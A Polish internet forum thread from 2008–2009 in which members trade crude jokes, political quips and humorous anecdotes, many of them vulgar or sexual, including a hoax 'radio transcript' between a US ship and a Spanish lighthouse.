Joachim Brudziński(takze PiS): Ludwik Dorn to taki wyleniały, zgorzkniały wezyr, któremu pozostało tylko kiszenie ogórków

$$ - 08-10-2008, 15:31

Ludwik Dorn napisał/a:
PiS to dwór dwóch eunuchów otaczających sułtana Kaczyńskiego
Racjonalny opis, partii którą od dawna nazywam Paranoja i a fee.
Joachim Brudziński napisał/a:
Ludwik Dorn to taki wyleniały, zgorzkniały wezyr, któremu pozostało tylko kiszenie ogórków
Typowy polot trepa.

Żeby nie było o polityce.
Pani w szkole pyta dzieci jak wyobrażają sobie Świętego Mikołaja, Kasia zza gór, zza lasów, wyjeżdżają sanie a na nich dziadek w workiem prezentów. Krzyś się wyrywa do odpowiedzi, Pani pozwala. Zza gór, zza lasów, wyjeżdżają sanie a na nich Taka wielka wielka DUPA. Krzysiu jak możesz, kto ci to powiedział. Tata powiedział że gówno dostanę od Świętego Mikołaja.

pozdrawiam rc

[ Dodano: 08-10-2008, 15:59 ]
Jakie jest największe złodziejstwo nowego milenium ?
Ktoś zajebał dno od kryzysu ekonomicznego i nie ma się od czego odbić.

pozdrawiam rc

TURBISS - 22-10-2008, 07:48

An Israeli doctor says, "medicine in my country is so advanced
that we can take a kidney out of one man, put it in another, and
have him looking for work in six weeks.

A German doctor says, "that is nothing, we can take a lung out
of one person, and put it in another, and have him looking for
work in four weeks.

A Russian doctor says, "in my country, medicine is so advanced that
we can take half a heart out of one person, put it in another, and have
them both looking for work in two weeks.

The TEXAS doctor, not to be outdone says, "You guys are way behind,
we recently took a man with no brains out of Texas , put him in the
White House for eight years, and now half of AMERICA is looking for work.


a u nas wybory kiedy?

Grzyb - 22-10-2008, 13:09

Szalejacy kryzys ekonomiczny.
Dzwoni bankier do bankiera:
- Czesc stary, jak sypiasz?
- Jak niemowle.
- Zartujesz?
- Nie. Wczoraj cala noc plakalem i dwa razy sie zesralem.

Dany - 31-10-2008, 08:27

Zima, piękne słońce, Alpy, stok…
Facet rusza z góry, odbija sie kijkami i jedzie na bombę.
Nagle podskakuje na muldzie, obraca go, leci, koziołkuje, w tumanie śniegu
wali w drzewo...
Kijki w jedną, narty w drugą, gość rozwalony, zęby wybite,
krew z nosa, nogi poskręcane w dziwny sposób.
Otwiera nieprzytomne oczy, wciąga górskie powietrze i mówi:
- I ch... I tak lepiej niż w pracy!

[ Dodano: 31-10-2008, 08:33 ]
Mąż siedzi przy komputerze, za jego plecami żona.
Żona mówi:
- No weź, puść mnie na chwile, teraz ja sobie posurfuje po internecie...
A mąż na to:
- No żesz ku..a mać! Czy ja Ci wyrywam gąbkę z ręki jak zmywasz naczynia?!

[ Dodano: 01-11-2008, 11:04 ]
http://www.youtube.com/watch?v=phTDGPUjHw4

Piotrek Ginter - 02-11-2008, 02:28
Temat postu: O odsniezaniu
Przeprowadziliśmy się do naszego nowego domu, Boże jak tu pięknie!
Drzewa wokół wyglądają tak majestatycznie. Wprost nie
mogę się doczekać, kiedy pokryją się śniegiem.

14 października

Beskidy są najpiękniejszym miejscem na ziemi! Wszystkie
liście zmieniły kolory - tonacje pomarańczowe i czerwone. Pojechałem na
przejażdżkę po okolicy i zobaczyłem kilka jeleni. Jakie wspaniałe!
Jestem pewien, że to najpiękniejsze zwierzęta na ziemi. Tutaj jest jak w
raju.
Boże, jak mi się tu podoba!

11 listopada

Wkrótce zaczyna się sezon polowań. Nie mogę sobie
wyobrazić, jak ktoś może chcieć zabić coś tak wspaniałego, jak jeleń. Mam
nadzieję, że wreszcie zacznie padać śnieg.

2 grudnia

Ostatniej nocy wreszcie spadł śnieg. Obudziłem się i
wszystko było przykryte białą kołdrą. Widok jak z pocztówki
bożonarodzeniowej.
Wyszliśmy na zewnątrz, odgarnęliśmy śnieg ze schodów i
odśnieżyliśmy drogę dojazdową.
Zrobiliśmy sobie świetną bitwę śnieżną ( wygrałem ), a potem
przyjechał pług śnieżny, zasypał to co odśnieżyliśmy i
znowu musieliśmy odśnieżyć drogę dojazdową. Kocham Beskidy.

12 grudnia

Zeszłej nocy znowu spadł śnieg. Pług śnieżny znowu
powtórzył dowcip z drogą dojazdową. Po prostu kocham to miejsce.

19 grudnia

Kolejny śnieg zeszłej nocy. Ze względu na nieprzejezdną
drogę dojazdową nie dojechałem do pracy. Jestem kompletnie
wykończony odśnieżaniem. Pieprzony pług śnieżny.

22 grudnia

Zeszłej nocy napadało jeszcze więcej tych białych gówien.
Całe dłonie mam w pęcherzach od łopaty. Jestem przekonany, że pług
śnieżny czeka tuż za rogiem, dopóki nie odśnieżę drogi dojazdowej.
Skurwysyn!

25 grudnia

Wesołych Pieprzonych Świąt! Jeszcze więcej gównianego
śniegu. Jak kiedyś wpadnie mi w ręce ten skurwysyn od pługu
śnieżnego...przysięgam - zabiję.
Nie rozumiem, dlaczego nie posypią drogi solą, żeby
rozpuściła to gówno.

27 grudnia

Znowu to białe kurestwo spadło w nocy. Przez trzy dni nie
wytknąłem nosa, z wyjątkiem odśnieżania drogi dojazdowej za każdym razem,
kiedy przejechał pług. Nigdzie nie mogę dojechać. Samochód jest pogrzebany
pod górą białego gówna. Meteorolog znowu zapowiadał dwadzieścia pięć
centymetrów tej nocy.
Możecie sobie wyobrazić, ile to oznacza łopat pełnych
śniegu?

28 grudnia

Meteorolog się mylił! Tym razem napadało osiemdziesiąt
pięć centymetrów tego białego kurestwa. Teraz to nie odtaje nawet do lata.
Pług śnieżny ugrzązł w zaspie a ten ch....j przyszedł pożyczyć jeszcze
ode mnie łopatę!
Powiedziałem mu, że sześć już połamałem kiedy odgarniałem
to gówno z mojej drogi dojazdowej, a potem ostatnią rozpier.....łem o jego
zakuty łeb.

4 stycznia

Wreszcie wydostałem się z domu. Pojechałem do sklepu
kupić coś do jedzenia
I kiedy wracałem, pod samochód wpadł mi pier....lony jeleń
i całkiem go rozj...bał. Narobił szkód na trzy tysiące. Powinni
powystrzelać te skurwysyńskie jelenie. Że też myśliwi nie rozwalili
wszystkich w sezonie!

3 maja

Zawiozłem samochód do warsztatu w mieście. Nie
uwierzycie, jak zardzewiał od tej jeb...nej soli, którą posypują drogi.

18 maja

Przeprowadziłem się z powrotem do miasta. Nie mogę sobie
wyobrazić, jak
ktoś kto ma odrobinę zdrowego rozsądku, może mieszkać na
jakimś zadupiu w Beskidach.

qdlaty - 04-11-2008, 18:28

Rozmowa Żony z Mężem:
Mąż: - Co byś zrobiła gdybym wygrał w totka?
Żona: - Wzięłabym swoja połowę i bym Cię zostawiła.

Na co Mąż:
- Wygrałem trójkę, masz 8 zł i spier....!

Marcin_alien - 06-11-2008, 14:24

Maly quiz.
Jak myślisz, jak nasz prezydent wymówi imię i nazwisko nowego prezydenta USA ?
Baba Omama
Oback Barama
Baran Obawa
Barubar Bambama
Barabar Obameiro
Borubak O'Lama
Brak Banana
Barek Odrana
Burak Osama
Obak z Bahama

:alien:

Dany - 16-11-2008, 07:02

Przyjezdża generał do wojska amerykańskiego, stacjonującego na pustyni. Podchodzi do pierwszego żołnierza i pyta:
- No a jak tam, szeregowy, wasze życie seksualne?
Na to żołnierz:
- No ciężko, ciężko, ale mamy tu taka starą wielbłądzicę, więc jakoś dajemy sobie radę...
Generał pyta drugiego i ten mu odpowiada to samo, trzeci też to samo, więc zaciekawiony generał mówi:
- No to zaprowadźcie mnie do tej swojej wielbłądzicy.
Zaprowadzili go do namiotu wielbłądzicy, zrobił co trzeba, wychodzi i mówi:
- No stara, ale jeszcze niezła ta wasza wielbłądzica.
Na to żołnierze:
- No pewnie że niezła, do miasta zawsze podjechać można!

Tomek Radomski - 19-11-2008, 15:57

Czerwone wino jest dobre dla zdrowia, a zdrowie jest potrzebne, żeby pić wódkę...
Andrzej Minorczyk - 19-11-2008, 20:42

Abażur*
Wczoraj namówiłam nareszcie swojego męża aby kupić abażur z kryształów (to co wisi z lampami na suficie), baaardzo drogi (pół roku zbieraliśmy). Pojechali?my do sklepu, kupiliśmy abażur, na skrzydełkach szczęścia popędziliśmy do domu, po drodze kupiliśmy butelkę koniaku (trzeba nowy zakup ..tego tamtego, no obmyć).
Siedliśmy przy stole, najpierw strzeliliśmy po 50, potem
powtórzyliśmy, no i mówię do swojegomęża: a może powiesimy od razu ten abażur? No i maż, lub z powodu koniaku, lub widząc moje szczęście zgodził się. Postawiliśmy krzesło, na krzesło taboret mały, mój maż wspiął się na tą piramidę, a mi kazał go zabezpieczać. Stoję taka szczęśliwa, obserwuję jak mój "orzeł" pod sufitem majstruje (a on był, nie wiem po co w szerokie bokserki ubrany), przenoszę wzrok niżej, i co ja widzę - z tych sympatycznych bokserek wypadło mu jedno jajeczko, no i ja taka rozczulona tym widokiem biorę i tak lekko pstryknęłam paluszkami po tym jajeczku. Mój "tygrys" w tej sekundzie jak poleciał w dół z tej estakady wraz z abażurem, który rozbił się całkowicie na małe kawałki, wstaje szybko i z ostatkami abażuru w rękach podskakuje do mnie...myślałam, że zabije mnie, a on mówi: -
Kurde, ale mnie prądem a fee, aż do jąder doszło, dobrze, że nie na śmierć.

[ Dodano: 19-11-2008, 21:07 ]


Max...

hexe - 20-11-2008, 17:23

Siedziałem z kolegami w pubie i ktoś wyskoczył z tematem, że piwo zawiera żeńskie hormony. Nie mogliśmy dojść do spójnych wniosków, więc postanowiliśmy przeprowadzić eksperyment naukowy ?Każdy z nas (z pobudek czysto naukowych!) wypił 10 piw. I wtedy odkryliśmy przerażającą prawdę:

1) przybraliśmy na wadze,
2) strasznie dużo mówiliśmy, ale o niczym konkretnym,
3) mieliśmy problemy z prowadzeniem samochodu,
4) nie potrafiliśmy logicznie myśleć,
5) nie udało nam się przyznać do błędu, mimo że było zupełnie jasne, że go popełniliśmy,
6) każdy z nas wierzył, że jest pępkiem wszechświata,
7) mieliśmy bóle głowy i żadnej ochoty na seks,
8)nie umieliśmy zapanować nad emocjami,
9) trzymaliśmy się nawzajem za ręce,
10) po każdych 10 minutach musieliśmy iść do WC, i to wszyscy jednocześnie.

Dalsze dowody są zbyteczne! Piwo zdecydowanie zawiera żeńskie hormony! :beer3: :bee;

Cerberiusz - 25-11-2008, 13:22

Remont w domu.
Ona:Kochanie,mógłbyś pomalować okna.
On,po chwili:Gotowe,a ramy też?

Żona do męża:
Może byś tak wstał wyrzucić smieci?
Mąż na to: dopiero usiadłem!
A co robiłes do tej pory?
-Leżałem

[ Dodano: 25-11-2008, 13:27 ]
W celu rozproszenia nudy w samolocie postępujemy zgodnie z poniższym schematem:
1. Wyjmujemy laptopa z torby i kładziemy na kolanach;
2. Powoli i spokojnie otwieramy go;
3. Włączamy;
4. Upewniamy się, ze osoba obok nas patrzy na ekran;
5. Włączamy Internet Explorer;
6. Zamykamy oczy, wznosimy głowę ku niebu i poruszamy bezgłośnie wargami;
7. Bierzemy głęboki wdech i klikamy na następujący link:

LINK

8. Widok miny osoby siedzącej obok i zaglądającej nam przez ramię - *b e z c e n n y*

Beeker - 25-11-2008, 21:30

Do klasztoru przychodzi nowy młody mnich. Starszy mnich oprowadza go po klasztorze i opowiada:
-Tu jest biblioteka. Możesz z niej korzystać, kiedy tylko zechcesz, tylko nie w czwartek.
Idą do sauny.
-Tu jest nasza sauna. Możesz z niej korzystać, kiedy tylko zechcesz, tylko nie wczwartek.
Idą do stołówki.
-Tu jest nasza stołówka. Możesz tu przychodzić, kiedy tylko zechcesz i jeśc ile chcesz, tylko nie w czwartek.
Obeszli cały klasztor i młody mnich dowiedział się, że wszędzie będzie mógłprzychodzić, za wyjątkiem czwartku. Na koniec stary mnich przyprowadza młodego na strych, a tam szafa. Stary mnich otwiera ją, a ze środka wystaje czyjaś d..a.
-Tu jest d..a. Możesz tu przychodzić, kiedy zechcesz i robić co zechcesz, tylko nie w czwartek.
-Wszystko super, ale dlaczego tych wszystkich rzeczy nie mogę robić akurat w czwartek??
-Bo w czwartek masz dyżur w szafie.

[ Dodano: 25-11-2008, 21:32 ]
i jeszcze bo mi się podobają: :mrgreen:

Kobieta słyszy dzwonek do drzwi. Po chwili otwiera je i widzi kolegę męża, który pracuje z nim w browarze.
- Mam dla pani złą wiadomość. W browarze był wypadek i pani mąż zginął.
- O Boże! Jak to się stało?
- Wpadł do kadzi z piwem i się utopił.
Kobieta pyta przez łzy:
- Ale czy przynajmniej miał szybką śmierć?
- Obawiam się, że nie. Zanim utonął, wyłaził z kadzi pięć razy żeby się odlać.

***

Na wiejskim weselu doszło do bijatyki. Wkrótce odbywa się proces sądowy.
Sędzia pyta jednego z gości obecnych na weselu:
- Niech pan opowie jak było.
- Tańczę sobie z panną młodą jeden taniec, drugi, trzeci, czwarty, piąty, zaczynamy się dobrze bawić, a tu nagle pan młody podchodzi zdenerwowany i mnie obraża. Odpaliłem mu, żeby się odwalił i tańczymy dalej... Nagle pan młody wziął zamach nogą i... jak nie kopnie pannę młodą między nogi!
Sędzia:
- Uuuu... To musiało boleć!
- Jeszcze jak, panie sędzio! Trzy palce mi połamał!

***

Mąż pyta żonę:
- Kochanie co byś zrobiła gdybym wygrał w totka?
- Wzięłabym połowę wygranej i odeszła od ciebie - oświadcza żona.
- Trafiłem trójkę, masz osiem złotych i won! - odpowiada mąż.

***

Po nocy poślubnej młoda żona chwali sie matce:
- Mamo! Zrobiliśmy to 2 razy!
Ta to ma szczęście - pomyślała matka. Po tygodniu córka chwali się matce:
- Mamo! ostatnio było 8 razy!
- Matka z niedowierzaniem kręci głową. Ale gdy po dwóch tygodniach matka dowiedziała się, że ostatnio było 20 razy kazała mężowi pogadać z zięciem.
- Słuchaj - mówi - musisz się trochę opanować bo mi córkę zmarnujesz!
- Niech się tata nie boi, bo ona liczy tam i z powrotem...

$$ - 25-11-2008, 21:46

Bardzo, bardzo stare małżeństwo się kocha, żona mówi coś ci zgrubiał.
Mąz odpowiada, TAK na pół złożyłem.

pozdrawiam rc

Beeker - 25-11-2008, 23:46

leżę :D
$$ - 26-11-2008, 14:09

Wnuczku jak nazywa się ten niemiec który chowa okulary ? Alzheimer dziadku, Alzheimer.

pozdrawiam rc

Cerberiusz - 28-11-2008, 22:22

- Czemu nie ratował pan żony, kiedy tonęła?
- A skąd ja miałem wiedzieć, że ona tonie? Darła ryja jak zwykle...

hexe - 29-11-2008, 11:02

Cerberiusz świetne :aaa:
Dany - 01-12-2008, 19:19

Mąż do zony:
- Słuchaj! Jak nie będziesz jęczała podczas seksu, to słowo daję - rozwiodę się z Tobą!
Żona wzięła to sobie do serca, ale na wszelki wypadek przy następnym stosunku pyta męża:
- Już mam jęczeć?
- Nie teraz. Powiem Ci kiedy i wtedy zacznij - tylko głośno.
Za jakiś czas mąż prawie w ekstazie:
- Teraz jęcz, teraz!!!
Żona:
- Olaboga!!!! Dzieci butów nie mają na zimę, ja w starej sukience chodzę, cukier podrożał...

[ Dodano: 05-12-2008, 11:23 ]
Mecz o SUPER PUCHAR, 100 tysięcy ludzi na trybunach. Kibice szaleją, wrzeszczą i ogólnie jest fajno. Wszyscy oczywiście stoją, wszyscy oprócz jednego faceta, który zamiast patrzyć na grę, ostro się onanizuje, nie zwracając na nikogo uwagi. W pewnym momencie ktoś to zauważa i zaczyna się przyglądać.Potem szturcha drugiego i już po chwili duża grupa ludzi patrzy na ostro walczącego z "klejnotem" gościa. Kilka minut później cały stadion patrzy już na faceta, który nadal nie wie jakie wzbudza zainteresowanie. Nawet telewizyjne kamery się na nim skupiły. Wreszcie zawodnicy obu drużyn zauważyli brak dopingu i też patrzą tam gdzie wszyscy. W końcu - UUUUHHHH! Facet skończył, czerwony z wysiłku ale szczęśliwy... Schował interes, wyciągnął papierosy i zapałki. W tym momencie widzi, że cały stadion patrzy w milczeniu na niego. Gościu zamiera z fajką przy ustach i zapaloną zapałka, spogląda powoli wokoło w końcu mówi ze zrezygnowaniem:
- Niieeeee no, kuuuu..........a - nie mówcie, że tu jarać nie wolno.

hexe - 06-12-2008, 16:14

Mama dała Jasiowi ostatnie 50 złotych na zakupy (do wypłaty był
jeszcze z tydzień) i mówi:
- Jasiek kupisz chleb, margarynę i kawał sera. Reszta kasy trafia
na stół.
- Jasiek poszedł do sklepu ale po drodze spodobał mu się miś za
całe 50 złotych. Kupił misia i pędzi do domu.
- Matka na to:
- Jasiu, co żeś ty zrobił, natychmiast idź i sprzedaj tego misia.
-Jasiek bez namysłu poszedł opchnąć misia sąsiadce. Wchodzi do
jej mieszkania a sąsiadka w łóżku z jakimś facetem.
Nagle rozlega się pukanie do drzwi.
- Sąsiadka wpycha faceta z Jasiem do szafy. Jasiek w szafie do faceta:
- Kup pan misia.
- Spadaj chłopcze.
- Bo będę krzyczał.
- Masz pięćdziesiąt złotych i się zamknij.
- Oddaj misia.
- Nie oddam.
- Oddaj bo będę krzyczał.
Sytuacja powtarza się kilkanaście razy. Jasiu zarobił kasy od cholery. Wraca do domu z zakupami: kawior, krewetki, szynki i całą furę szmalu kładzie na stole.
- Matka do Jasia:
- Jasiek chyba bank obrabowałeś. Natychmiast do księdza idź się wyspowiadać!
Jasiek poszedł do kościoła, podchodzi do konfesjonału i mówi:
- Ja w sprawie Misia.
- Odwal się! Już nie mam kasy.

Andrzej Minorczyk - 08-12-2008, 19:40

Rozmawiaja 2 bladynki:
1: Zalozylam konto w "Dominet Bank"
2: Do czego?

TURBISS - 10-12-2008, 09:33

> Prawdziwa rozmowa nagrana na morskiej częstotliwości alarmowej Canal 106,
> na wybrzeżu Finisterra (Galicja) pomiędzy Hiszpanami a Amerykanami 16
> października 1997 roku.
>
>
> Hiszpanie (w tle słychać trzaski):
> Tu mówi A-853, prosimy, zmieńcie kurs o 15 stopni na południe, by uniknąć
> kolizji... Płynieci e wprost na nas, odległość 25 mil morskich.
>
> Amerykanie (trzaski w tle):
> Sugerujemy wam zmianę kursu o 15 stopni na północ, by uniknąć kolizji.
>
> Hiszpanie:
> Odmowa. Powtarzamy: zmieńcie swój kurs o 15 stopni na południe,
> by uniknąć kolizji...
>
> Amerykanie (inny głos):
> Tu mówi kapitan jednostki pływającej Stanów Zjednoczonych Ameryki.
> Nalegamy, byście zmienili swój kurs o 15 stopni na północ, by uniknąć
> kolizji.
>
> Hiszpanie:
> Nie uważamy tego ani za słuszne, ani za możliwe do wykonania.
> Sugerujemy wam zmianę kursu o 15 stopni na południe, by uniknąć zderzenia
> z nami.
>
> Amerykanie (ton głosu świadczący o wsciekłości):
> Tu mówi kapitan Richard James Howard, dowodzący lotniskowcem USS
> Lincoln marynarki wojennej Stanów Zjednoczonych; drugim co do wielkości
> okrętem floty amerykańskiej. Eskortują nas dwa okręty pancerne, sześć
> niszczycieli,
> pięć krążowników, cztery okręty podwodne oraz liczne jednostki
> wspomagające.
> Udajemy sie w kierunku Zatoki Perskiej w celu przeprowadzenia manewrów
> wojennych
> w obliczu możliwej ofensywy ze strony wojsk irackich. Nie sugeruje...
> ROZKAZUJE WAM ZMIENIĆ KURS O 15 STOPNI NA PÓŁNOC! W przeciwnym razie
> będziemy zmuszeni podjąć działania konieczne by zapewnić bezpieczeństwo
> temu okrętowi, jak również siłom koalicji. Należycie do państwa
> sprzymierzonego, jesteście członkiem NATO i rzeczonej koalicji. Żądam
> natychmiastowego posłuszeństwa i usunięcia sie z drogi!
>
> Hiszpanie:
> Tu mówi Juan Manuel Salas Alcántara. Jest nas dwóch. Eskortuje
> nas nasz pies, jest też z nami nasze jedzenie, dwa piwa i kanarek, który
> teraz śpi. Mamy poparcie lokalnego radia La Coruna i morskiego kanału
> alarmowego 106. Nie udajemy się w żadnym kierunku i mówimy do was ze
> stałego lądu, z latarni morskiej A-853 Finisterra, z wybrzeża Galicji.
> Nie mamy gównianego pojęcia, które miejsce zajmujemy w rankingu
> hiszpańskich
> latarn i morskich. Możecie podjąć wszelkie słuszne działania, na jakie
> tylko przyjdzie wam ochota, by zapewnić bezpieczeństwo waszemu zasranemu
> okrętowi, który za chwile rozbije się o skały; dlatego ponownie nalegamy,
> sugerujemy wam, iż działaniem najlepszym, najbardziej słusznym i
> najbardziej godnym polecenia będzie zmiana kursu o 15 stopni na południe
> by uniknąć zderzenia z nami.
>
> Amerykanie:
> OK. Przyjąłem, dziękuję.

Mateusz - 11-12-2008, 09:28


Dany - 12-12-2008, 08:39

Benjamin Franklin powiedział:
wino dostarcza człowiekowi mądrości, piwo wolności, a woda bakterii.
W wyniku niezliczonej ilości badań uczeni udowodnili, iż:
wypijając 1 litr wody dziennie - wchłaniamy rocznie 1 kg Escherichia coli -bakterii
znajdowanej w fekaliach.

Innymi słowy, pijąc wodę spożywamy rocznie kilogram gówna.
Natomiast pijąc piwo i wino (tequille, rum, whisky, wódkę lub inny napój
wyskokowy) NIE ponosimy tego ryzyka, ponieważ alkohol podlega procesowi
uzdatniania i oczyszczania poprzez gotowanie, warzenie, filtrowanie,
destylację lub/oraz fermentację.
Pamiętaj: Woda = gówno. Wino, wódka, piwo = Zdrowie.
Dlatego znacznie lepiej jest pić wódkę i pleść głupstwa, - niż pic wodę i być
zasrańcem.


Nie musisz dziękować mi za tę cenną informację; Przekazuję ją w czynie
społecznym !

[ Dodano: 15-12-2008, 17:34 ]
MONOLOG FACETA DESPERATA:

Nie rozumiem kobiet!
Przekłuwają sobie uszy, nosy, pępki, brodawki,
rodzą dzieci, często mają cesarkę,
wstrzykują silikon w różne części ciała,
depilują gorącym woskiem włosy na nogach, pod nosem, na wzgórkach
łonowych;
robią sobie lifting,
tatuaże,
odsysają sobie tłuszcz,
zmniejszają pośladki;
usuwają żebra,
operują biusty,
usuwają skórki na palcach
i robią mnóstwo innych bolesnych rzeczy?

... a nie można ich bzykać? Bo je, k...., głowa boli ?!

Cerberiusz - 15-12-2008, 23:23

Panowie i panie gorąco polecam ubaw po pachy: :rofl:
--->KLIK<---

lettarin - 16-12-2008, 18:40

Stare, ale mnie nadal bawi
http://www.kabarety.tworz..._freestyler.php

pzd

Nuroslaw - 22-12-2008, 08:50

TURBISS napisał/a:
> Prawdziwa rozmowa nagrana na morskiej częstotliwości alarmowej Canal 106,
> na wybrzeżu Finisterra (Galicja) pomiędzy Hiszpanami a Amerykanami 16
> października 1997 roku.
>
>> Amerykanie:
> OK. Przyjąłem, dziękuję.


coś mi się zdaje że ten tekst już taki oryginalny nie jest :) . ale sens był podobny i chciałbym widzieć minę tego amerykanskiego dowódcy. pewnie bezcenna.

Grzyb - 25-12-2008, 12:54


kris_14_ss - 30-12-2008, 14:59

Śniadanie w wojsku. Żołnierze sprzeczają się, czy w kubkach mają kawę czy herbatę.
Z okienka wychyla się kucharz i woła:
- Chłopcy, komu jeszcze dolać kakao?

***

Wrzesień, rok 1939. Na polskie pozycje nacierają niemieckie czołgi. Widząc to, polski kapitan woła:
- Józek! Bierz granat i rozgoń te czołgi!
Po kilku minutach Józek melduje się kapitanowi.
- Melduję się, obywatelu kapitanie!
- Rozgoniłeś czołgi?
- Tak jest!
- Świetnie! Możesz już oddać granat.

***

Z pamiętnika żołnierza:
- Poniedziałek. Idziemy na ćwiczenia. Spotkaliśmy dziewczynę, to ją w krzaki! To był dobry dzień...
- Wtorek. Idziemy na ćwiczenia. Spotkaliśmy chłopaka, to go w krzaki! To był dobry dzień...
- Środa. Dostałem przepustkę, idę na piwo. Spotkali mnie żołnierze idący na ćwiczenia. To był zły dzień...

***

Poranek na okręcie podwodnym. Wszyscy na strasznym kacu. Kapitan pyta:
- Nawigator, gdzie my, do licha, jesteśmy?!
- Uuuu... eeee... [rzyga w kącie].
- Oficer wachtowy! Peryskop w górę i sprawdzić, co jest na horyzoncie!
- [po dłuższej chwili] Statek pod banderą liberyjską na lewej burcie, odległość 8 mil.
- Pierwszy aparat torpedowy... pal! Radiotelegrafista! Jak ta łajba będzie nadawała komunikat SOS, spiszcie koordynaty! I żeby mi to było ostatni raz!

jacekplacek - 30-12-2008, 20:07

15 lipca 1410 roku. Wstaje świt. W lesie budzi się polski obóz.
Poranny posiłek, modlitwa. Jagiełło staje przed namiotem, powiadomiony o przybyciu posłów krzyżackich.
- Panie, Wielki Mistrz, Ulrik von Jungingen, proponuje, by zamiast toczyć tu krwawą bitwę i stracić kwiat rycerstwa, wyznaczyć jednego z każdej ze stron. Niech oni stoczą pojednek, a który z nich zwycięży, tego strona uznana zostanie za zwycięską w całej bitwie. Po chwili namysłu Jagiełło się zgodził. Posłowie odjechali, a Jagiełło podążył do namiotów rycerzy.
- Słuchaj Zawisza, zamiast bitwy będzie pojedynek - pójdziesz walczyć o wygraną bitwę ?
- No wiesz Władek, pojutrze tak. No może jutro... Ale dziś nie dam rady.
Rozumiesz, imprezka była, daliśmy czadu no i ... Po prostu nie dam rady...
Król udał się więc do kolejnego rycerza:
- Powała, pójdziesz walczyć w pojedynku o wygraną bitwę ?
- Sorki Władek, wczoraj byla imprezka u Zawiszy. Daliśmy czadu no i wiesz.... Pojutrze spoko, dziś nie dam po prostu rady....
Udał się więc Jagiełło do kolejnego namiotu:
- Zbyszko, pójdziesz walczyć o wygraną bitwę ?
- Królu złoty, nie dam rady. Była imprezka ...
- Tak, tak, wiem - u Zawiszy. Kto jeszcze tam był ?
- No chyba wszyscy...
- Zwołaj wojska, niech się ustawią w szeregu pod lasem..
Stanęło więc polskie wojsko pod lasem, naprzeciw król.
- Słuchajcie, bedzie pojedynek o wygraną bitwę. Czy ktoś z was jest w stanie stanać do niego ?
Siedzą rycerze w kulbakach, każdy łypie na drugiego, głowy pospuszczali.
Nikt nie chce ... Nagle slychać:
- Ja ! Ja ! Ja chce !!! Ja pójde !!!
Rozglądają się i widzą - stary dziad z brodą do pasa, ubrany w jakiś taki jutowy worek, łachmany.
- Rany Boskie, nie ma nikogo innego ????
No i nikogo innego nie bylo. Dali więc dziadkowi długi dwuręczny miecz.
Idzie dziadek przez pole, miecza nie dał rady dźwignać więc ciagnie go
za sobą .... Patrzą Polacy, a z przeciwnej strony wyjeżdża na koniu wielkim jak stodoła zakuty cały w lśniącą zbroję wielki jak dąb rycerz.
Jagiełło chwyta się za głowę i jęczy, a Polacy wrzeszczą:
- Dziaaaadeeeeek !!! W nooooogiiiiii !!! W noooooogggiiiiiiiiiiiiiii!!
Rycerz niemiecki jednak juz ruszyl, dopadl dziadka który w ogóle nie zamierzal uciekać, podniósl sie tuman kurzu. Nic nie widać tylko jakieś
takie jeki slychać. Po chwili wiatr oczyscil pole z pylu. Patrza Polacy, A tam koń bez nóg, krzyżak bez nóg, a dziadek stoi i trzesącą sie reka
trzyma miecz na gardle Niemca. I mówi:
- Masz szczescie ch..ju, ze krzyczeli "w nogi", bo bym ci łeb up....lił!!

Padre-Kris - 31-12-2008, 14:13

Zbiórka pododdziału. Kapral sprawdza listę obecnosci;
-Asiński!
-Jest
-Beksiński!
-Jest
-Cackiewicz!
-Jest
Dochodzi do końca strony i woła:
-Verte!
Cisza
-Verte!
Cisza
Verte do ciężkiej ......!
odzywa się głos z drugiego szeregu!
-Poleciał ze stolcem do latryny!
Na to kapral:
No to biegiem i wołać mi tych dwóch op......!

[ Dodano: 31-12-2008, 14:27 ]
ZIMA! Wchodzi do przydrożnego baru kirerowca TIRa i mówi do barmana:
-Setkę!!
wypija i spluwa na podłoge mówiąc: Tfu pieprzony matiz
kolejna kolejka i scena sie powtarza: Tfu pieprzony matiz
jeszcze jedna i : Tfu pieprzony matiz
Po jeszcze kilku kelner nie wytrzymuje i pyta: Co sie dzieje czemu plujesz i czepiasz zie matiza
Kierowca TIRa odpowiada:
Jechałem tu do was, zadymka jak 150 nic nie widać ,pociągnęlo mnie i nie wiem kiedy wylądowałem w rowie. Wychodzę patrze jedna strona wisi w powietrzu ,no tragedia...
Nie ma kogo poprosic o pomoc. Syf jakich mało. Aż tu nagle zatrzymuje się koło mnie Matiz i jego kierowca mówi : Pomóć? Może pana wyciągnąć z rowu.
Popatrzyłem jak na debila i mówię: Dobra!! Jak mnie wyciągniesz to zrobię ci laskę!!!
Barman: No i co, No i co?
Kierowca TIRa: No i jajco !! POLEJ!!!! TFU PIEPRZONY MATIZ

hubert68 - 05-01-2009, 21:06

Na basenie:
Ratownik: Proszę pana, proszę nie sikać do basenu!
Gość: No ale wszyscy sikają.
Ratownik: Ale tylko pan z trampoliny...

Cerberiusz - 05-01-2009, 22:18

Rozmawiają dwaj koledzy z pracy:
- Franek, dlaczego szef jest na ciebie zły od tygodnia?
- Tydzień temu była impreza zakładowa i szef wzniósł toast "Niech
żyją pracownicy".
A ja zapytałem:
- Tak? A z czego?

KasiaK - 06-01-2009, 16:21

Dlaczego tak mało kobiet gra w piłkę nożną?

- Bo nie tak łatwo znaleźć jedenaście kobiet, które chciałyby wystąpić w takich samych kostiumach.

martin - 06-01-2009, 16:28

Szef codziennie nazywał sekretarkę "swoim Słoneczkiem". Sam przy niej promieniał.
Aż któregoś dnia spochmurniał. Słoneczko zaszło.

rhino - 06-01-2009, 16:37

Idiotów na świecie jest mało. Ale są tak sprytnie rozstawieni, że spotyka się ich na każdym kroku.
Padre-Kris - 07-01-2009, 10:17

Idzie policjant ulicą i spotyka kolegę z podstawówki. Ubrany w najlepsze ciuchy na nogach buty z krokodylej skóry.
-Słuchaj skąd masz takie piękne buty?
-No wiesz pojechałem z wycieczką do Egiptu, frajerzy poszli oglądac ruiny a ja poszedłem nad Nil znalazłem po drodze taki drąg, jak wynurzył się krokodyl to go w łeb i stąd te buty.
-No ciekawe też tak zrobię.
Spotykają się za jakiś czas; kolega policjanta pyta:
-No co nie byłes w Egipcie bo nie masz butów.
-Byłem, byłem zrobiłem jak mi mówiłeś Frajerzy poszli oglądać ruiny, ja poszedłem z bejsbolem nad Nil.
Wynurzył się krokodyl no to go w łeb, potem upolowałem jeszcze trzy takie gady i patrz k....a żaden nie miał butów

gladius - 07-01-2009, 11:10

Wykoleił się pociąg wiozący parlamentarzystów. Gdy ekipy ratunkowe dotarły na miejsce, nie znalazły we wraku żadnych ofiar.
